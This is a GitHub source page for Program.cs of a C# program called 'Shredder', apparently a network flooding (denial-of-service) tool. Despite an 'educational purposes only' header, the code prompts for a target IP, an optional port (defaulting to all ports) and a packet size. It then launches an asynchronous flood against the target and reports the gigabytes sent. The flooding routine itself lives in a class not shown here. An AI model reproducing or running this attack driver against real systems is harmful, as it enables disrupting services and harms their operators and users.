-
Notifications
You must be signed in to change notification settings - Fork 2
/
Program.cs
109 lines (91 loc) · 3.26 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
/*!-----------------------------------------------------------------------------
* For educational purposes only
* Attacking system without consent is illegal
*-----------------------------------------------------------------------------*/
using System.Net;
namespace Shredder
{
public class Program
{
static async Task Main(string[] args)
{
Console.WriteLine("Enter the IP to Shred:");
string ip = GetUserInput();
Console.WriteLine();
while (!IsValidIpAddress(ip))
{
Console.WriteLine("Error! Please enter a correct IP address:");
ip = GetUserInput();
}
Console.WriteLine("Enter port (press enter to attack all ports):");
string portInput = GetUserInput();
int port = 0;
if (!string.IsNullOrWhiteSpace(portInput))
{
while (!int.TryParse(portInput, out port) || port < 1 || port > 65535)
{
Console.WriteLine("Error! Please enter a correct port:");
portInput = GetUserInput();
}
}
Console.WriteLine("Bytes per packet (press enter for 1250):");
string forceInput = GetUserInput();
int force = string.IsNullOrWhiteSpace(forceInput) ? 1250 : 0;
if (force == 0)
{
while (!int.TryParse(forceInput, out force))
{
Console.WriteLine("Error! Please enter an integer for bytes per packet:");
forceInput = GetUserInput();
}
}
Console.WriteLine($"Starting attack on {ip}:{port}.");
Console.Write($"{"",10}");
Shred shred = new Shred(ip, port, force);
try
{
Task infoTask = Task.Run(() => shred.Info());
Task floodTask = shred.FloodAsync();
await Task.WhenAll(infoTask, floodTask);
}
catch
{
shred.Stop();
Error("A error has occurred and the attack has been stopped.");
}
try
{
while (true)
{
Thread.Sleep(1000000);
}
}
catch (ThreadInterruptedException)
{
shred.Stop();
Console.WriteLine($"Attack stopped. {ip}:{port} was shredded with {Math.Round(shred.Total, 1)} Gb.");
}
Console.WriteLine();
Thread.Sleep(1000);
Console.WriteLine("Press enter to exit.");
Console.ReadLine();
}
private static string GetUserInput()
{
Console.ForegroundColor = ConsoleColor.Cyan;
string input = Console.ReadLine();
Console.ResetColor();
return input;
}
private static bool IsValidIpAddress(string ipAddress)
{
return IPAddress.TryParse(ipAddress, out _);
}
private static void Error(string text)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"\n! {text}");
Console.ResetColor();
}
}
}